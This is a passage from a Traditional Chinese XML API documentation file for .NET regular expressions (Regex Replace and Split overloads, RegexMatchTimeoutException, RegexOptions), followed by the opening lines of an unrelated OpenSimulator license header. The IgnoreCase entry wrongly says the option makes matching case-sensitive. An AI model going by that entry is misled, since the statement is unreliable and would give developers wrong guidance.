<returns>在<see cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException" />擲回之前,可在模式比對作業中流逝的最大時間間隔,或者為<see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />(如果停用逾時)。</returns>
</member>
<member name="P:System.Text.RegularExpressions.Regex.Options">
<summary>取得傳入 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式的選項。</summary>
<returns>
<see cref="T:System.Text.RegularExpressions.RegexOptions" /> 列舉的一個或多個成員,代表傳遞至 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式的選項</returns>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String)">
<summary>在指定的輸入字串中,使用指定的取代字串來取代符合規則運算式模式的所有字串。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果規則運算式模式在目前執行個體中沒有符合項目,方法會傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="replacement">取代字串。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.Int32)">
<summary>在指定的輸入字串中,使用指定的取代字串來取代符合規則運算式模式的指定最大字串數目。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果規則運算式模式在目前執行個體中沒有符合項目,方法會傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="replacement">取代字串。</param>
<param name="count">取代作業可以發生的最大次數。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.Int32,System.Int32)">
<summary>在指定的輸入子字串中,使用指定的取代字串來取代符合規則運算式模式的指定最大字串數目。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果規則運算式模式在目前執行個體中沒有符合項目,方法會傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="replacement">取代字串。</param>
<param name="count">取代可以發生的最大次數。</param>
<param name="startat">在輸入字串中開始搜尋的字元位置。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="startat" /> 小於零或是大於 <paramref name="input" /> 的長度。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.String)">
<summary>在指定的輸入字串中,使用指定的取代字串來取代符合指定之規則運算式的所有字串。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果在目前的執行個體中沒有符合 <paramref name="pattern" /> 的項目,則方法傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="replacement">取代字串。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" />、<paramref name="pattern" /> 或 <paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.String,System.Text.RegularExpressions.RegexOptions)">
<summary>在指定的輸入字串中,使用指定的取代字串來取代符合指定之規則運算式的所有字串。指定的選項會修改符合的作業。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果在目前的執行個體中沒有符合 <paramref name="pattern" /> 的項目,則方法傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="replacement">取代字串。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" />、<paramref name="pattern" /> 或 <paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.String,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>在指定的輸入字串中,使用指定的取代字串來取代符合指定之規則運算式的所有字串。如果沒有找到相符項目,其他參數會指定修改比對作業的選項和逾時間隔。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果在目前的執行個體中沒有符合 <paramref name="pattern" /> 的項目,則方法傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="replacement">取代字串。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" />、<paramref name="pattern" /> 或 <paramref name="replacement" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.Text.RegularExpressions.MatchEvaluator)">
<summary>在指定的輸入字串中,使用 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派所傳回的字串來取代所有符合指定之規則運算式的字串。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果在目前的執行個體中沒有符合 <paramref name="pattern" /> 的項目,則方法傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="evaluator">檢查每個符合項目並傳回原始符合字串或取代字串的自訂方法。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" />、<paramref name="pattern" /> 或 <paramref name="evaluator" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.Text.RegularExpressions.MatchEvaluator,System.Text.RegularExpressions.RegexOptions)">
<summary>在指定的輸入字串中,使用 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派所傳回的字串來取代所有符合指定之規則運算式的字串。指定的選項會修改符合的作業。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果在目前的執行個體中沒有符合 <paramref name="pattern" /> 的項目,則方法傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="evaluator">檢查每個符合項目並傳回原始符合字串或取代字串的自訂方法。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" />、<paramref name="pattern" /> 或 <paramref name="evaluator" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.String,System.Text.RegularExpressions.MatchEvaluator,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>在指定的輸入字串中,使用 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派所傳回的字串來取代所有符合指定之規則運算式的子字串。如果沒有找到相符項目,其他參數會指定修改比對作業的選項和逾時間隔。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果在目前的執行個體中沒有符合 <paramref name="pattern" /> 的項目,則方法傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="evaluator">檢查每個符合項目並傳回原始符合字串或取代字串的自訂方法。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" />、<paramref name="pattern" /> 或 <paramref name="evaluator" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.Text.RegularExpressions.MatchEvaluator)">
<summary>在指定的輸入字串中,使用 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派所傳回的字串來取代所有符合指定之規則運算式的字串。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果規則運算式模式在目前執行個體中沒有符合項目,方法會傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="evaluator">檢查每個符合項目並傳回原始符合字串或取代字串的自訂方法。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="evaluator" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.Text.RegularExpressions.MatchEvaluator,System.Int32)">
<summary>在指定的輸入字串中,使用 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派所傳回的字串來取代符合規則運算式模式的指定最大字串數目。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果規則運算式模式在目前執行個體中沒有符合項目,方法會傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="evaluator">檢查每個符合項目並傳回原始符合字串或取代字串的自訂方法。</param>
<param name="count">取代將發生的最多次數。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="evaluator" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Replace(System.String,System.Text.RegularExpressions.MatchEvaluator,System.Int32,System.Int32)">
<summary>在指定的輸入子字串中,使用 <see cref="T:System.Text.RegularExpressions.MatchEvaluator" /> 委派所傳回的字串來取代符合規則運算式模式的指定最大字串數目。</summary>
<returns>與輸入字串相同的新字串 (不同之處是取代字串會取代每一個相符的字串)。如果規則運算式模式在目前執行個體中沒有符合項目,方法會傳回未變更的目前執行個體。</returns>
<param name="input">用來搜尋比對的字串。</param>
<param name="evaluator">檢查每個符合項目並傳回原始符合字串或取代字串的自訂方法。</param>
<param name="count">取代將發生的最多次數。</param>
<param name="startat">在輸入字串中開始搜尋的字元位置。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="evaluator" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="startat" /> 小於零或是大於 <paramref name="input" /> 的長度。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="P:System.Text.RegularExpressions.Regex.RightToLeft">
<summary>取得值,指出規則運算式是否由右至左搜尋。</summary>
<returns>如果規則運算式由右至左搜尋,則為 true,否則為 false。</returns>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Split(System.String)">
<summary>在 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式中指定之規則運算式模式所定義的位置,將輸入字串分隔成子字串的陣列。</summary>
<returns>字串的陣列。</returns>
<param name="input">要分隔的字串。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Split(System.String,System.Int32)">
<summary>在 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式中指定的規則運算式所定義的位置,以指定的最大次數來將輸入字串分隔成子字串的陣列。</summary>
<returns>字串的陣列。</returns>
<param name="input">要分隔的字串。</param>
<param name="count">分隔作業可以發生的最多次數。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Split(System.String,System.Int32,System.Int32)">
<summary>在 <see cref="T:System.Text.RegularExpressions.Regex" /> 建構函式中指定的規則運算式所定義的位置,以指定的最大次數來將輸入字串分隔成子字串的陣列。規則運算式模式從輸入字串中指定的字元位置開始搜尋。</summary>
<returns>字串的陣列。</returns>
<param name="input">要分隔的字串。</param>
<param name="count">分隔作業可以發生的最多次數。</param>
<param name="startat">在輸入字串中要開始搜尋的字元位置。</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="startat" /> 小於零或是大於 <paramref name="input" /> 的長度。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Split(System.String,System.String)">
<summary>在規則運算式模式所定義的位置,將輸入字串分割成子字串陣列。</summary>
<returns>字串的陣列。</returns>
<param name="input">要分隔的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Split(System.String,System.String,System.Text.RegularExpressions.RegexOptions)">
<summary>在指定的規則運算式模式所定義的位置,將輸入字串分割成子字串陣列。指定的選項會修改符合的作業。</summary>
<returns>字串的陣列。</returns>
<param name="input">要分隔的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
<PermissionSet>
<IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" />
<IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence" />
</PermissionSet>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Split(System.String,System.String,System.Text.RegularExpressions.RegexOptions,System.TimeSpan)">
<summary>在指定的規則運算式模式所定義的位置,將輸入字串分割成子字串陣列。如果沒有找到相符項目,其他參數會指定修改比對作業的選項和逾時間隔。</summary>
<returns>字串陣列。</returns>
<param name="input">要分隔的字串。</param>
<param name="pattern">要比對的規則運算式模式。</param>
<param name="options">列舉值的位元組合,提供用於比對的選項。</param>
<param name="matchTimeout">間隔,若要表示此方法不會逾時則為 <see cref="F:System.Text.RegularExpressions.Regex.InfiniteMatchTimeout" />。</param>
<exception cref="T:System.ArgumentException">發生規則運算式剖析錯誤。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="input" /> 或 <paramref name="pattern" /> 為 null。</exception>
<exception cref="T:System.ArgumentOutOfRangeException">
<paramref name="options" /> 不是 <see cref="T:System.Text.RegularExpressions.RegexOptions" /> 值的有效位元組合。-或-<paramref name="matchTimeout" /> 為負數、零或大約大於 24 天。</exception>
<exception cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException">發生逾時。如需逾時的詳細資訊,請參閱<備註>一節。</exception>
</member>
<member name="M:System.Text.RegularExpressions.Regex.ToString">
<summary>傳回傳遞至 Regex 建構函式中的規則運算式模式。</summary>
<returns>
<paramref name="pattern" /> 參數,傳遞至 Regex 建構函式。</returns>
</member>
<member name="M:System.Text.RegularExpressions.Regex.Unescape(System.String)">
<summary>轉換輸入字串中任何逸出的字元。</summary>
<returns>字元字串,其中任何逸出字元轉換成其未逸出格式。</returns>
<param name="str">輸入字串,包含要轉換的文字。</param>
<exception cref="T:System.ArgumentException">
<paramref name="str" /> 包含無法辨認的逸出序列。</exception>
<exception cref="T:System.ArgumentNullException">
<paramref name="str" /> 為 null。</exception>
</member>
<member name="T:System.Text.RegularExpressions.RegexMatchTimeoutException">
<summary>當規則運算式模式比對方法的執行時間超過其逾時間隔時,所擲回的例外狀況。</summary>
</member>
<member name="M:System.Text.RegularExpressions.RegexMatchTimeoutException.#ctor">
<summary>使用系統提供的訊息,初始化 <see cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException" /> 類別的新執行個體。</summary>
</member>
<member name="M:System.Text.RegularExpressions.RegexMatchTimeoutException.#ctor(System.String)">
<summary>使用指定的訊息字串,初始化 <see cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException" /> 類別的新執行個體。</summary>
<param name="message">描述例外狀況的字串。</param>
</member>
<member name="M:System.Text.RegularExpressions.RegexMatchTimeoutException.#ctor(System.String,System.Exception)">
<summary>使用指定的錯誤訊息和造成這個例外狀況原因的內部例外狀況參考,初始化 <see cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException" /> 類別的新執行個體。</summary>
<param name="message">描述例外狀況的字串。</param>
<param name="inner">導致目前例外狀況的例外。</param>
</member>
<member name="M:System.Text.RegularExpressions.RegexMatchTimeoutException.#ctor(System.String,System.String,System.TimeSpan)">
<summary>使用規則運算式模式、輸入文字,以及逾時間隔的相關資訊,初始化 <see cref="T:System.Text.RegularExpressions.RegexMatchTimeoutException" /> 類別的新執行個體。</summary>
<param name="regexInput">當發生逾時,由規則運算式引擎所處理的輸入文字。</param>
<param name="regexPattern">當發生逾時,由規則運算式引擎所使用的模式。</param>
<param name="matchTimeout">逾時間隔。</param>
</member>
<member name="P:System.Text.RegularExpressions.RegexMatchTimeoutException.Input">
<summary>取得當發生逾時,規則運算式引擎所處理的輸入文字。</summary>
<returns>規則運算式輸入文字。</returns>
</member>
<member name="P:System.Text.RegularExpressions.RegexMatchTimeoutException.MatchTimeout">
<summary>取得規則運算式比對的逾時間隔。</summary>
<returns>逾時間隔。</returns>
</member>
<member name="P:System.Text.RegularExpressions.RegexMatchTimeoutException.Pattern">
<summary>取得當發生逾時,比對作業中所使用的規則運算式模式。</summary>
<returns>規則運算式模式。</returns>
</member>
<member name="T:System.Text.RegularExpressions.RegexOptions">
<summary>提供用來設定規則運算式 (Regular Expression) 選項的列舉值。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.Compiled">
<summary>指定將規則運算式編譯為組件。這將產生較快速的執行,但會增加啟動時間。在呼叫 <see cref="M:System.Text.RegularExpressions.Regex.CompileToAssembly(System.Text.RegularExpressions.RegexCompilationInfo[],System.Reflection.AssemblyName)" /> 方法時,不應將這個值指派至 <see cref="P:System.Text.RegularExpressions.RegexCompilationInfo.Options" /> 屬性。如需詳細資訊,請參閱 規則運算式選項 主題中的<已編譯的規則運算式>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.CultureInvariant">
<summary>指定忽略語言中的文化差異。如需詳細資訊,請參閱 規則運算式選項 主題中的<使用不因文化特性而異的比較>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.ECMAScript">
<summary>啟用運算式的 ECMAScript 相容行為。這個值只能結合 <see cref="F:System.Text.RegularExpressions.RegexOptions.IgnoreCase" />、<see cref="F:System.Text.RegularExpressions.RegexOptions.Multiline" /> 和 <see cref="F:System.Text.RegularExpressions.RegexOptions.Compiled" /> 值使用。將這個值與任何其他值一起使用都將導致例外狀況。如需 <see cref="F:System.Text.RegularExpressions.RegexOptions.ECMAScript" /> 選項的詳細資訊,請參閱 規則運算式選項 主題中的<ECMAScript 比對行為>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.ExplicitCapture">
<summary>指定唯一有效的擷取為明確命名的或編號的,格式為 (?<name>…) 的群組。這允許未命名的括號充當非擷取群組,而避免運算式 (?:…) 的語法不便。如需詳細資訊,請參閱 規則運算式選項 主題中的<僅限明確擷取>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.IgnoreCase">
<summary>指定區分大小寫的比對。如需詳細資訊,請參閱 規則運算式選項 主題中的<不區分大小寫的比對>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace">
<summary>從模式排除未逸出的空白字元 (White Space),並啟用以 # 標記的註解。不過,這個值不會影響或排除字元類別中的空白字元、數值數量詞,或是標示個別規則運算式語言項目開始的語彙基元。如需詳細資訊,請參閱 規則運算式選項 主題中的<忽略空白字元>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.Multiline">
<summary>多行模式。變更 ^ 和 $ 的意義以致它們分別在任何一行的開頭和結尾做比對,而不只是整個字串的開頭和結尾。如需詳細資訊,請參閱 規則運算式選項 主題中的<多行模式>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.None">
<summary>指定無選項設定。如需規則運算式引擎預設行為的詳細資訊,請參閱 規則運算式選項 主題中的<預設選項>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.RightToLeft">
<summary>指定搜尋將由右至左,而非由左至右。如需詳細資訊,請參閱 規則運算式選項 主題中的<從右至左模式>一節。</summary>
</member>
<member name="F:System.Text.RegularExpressions.RegexOptions.Singleline">
<summary>指定單行模式。變更點 (.) 的意義,使它符合一切字元 (而不是 \n 之外的一切字元)。如需詳細資訊,請參閱 規則運算式選項 主題中的<單行模式>一節。</summary>
</member>
</members>
</doc>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) Contributors, http://opensimulator.org/
* See CONTRIBUTORS.TXT for a full list of copyright holders.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
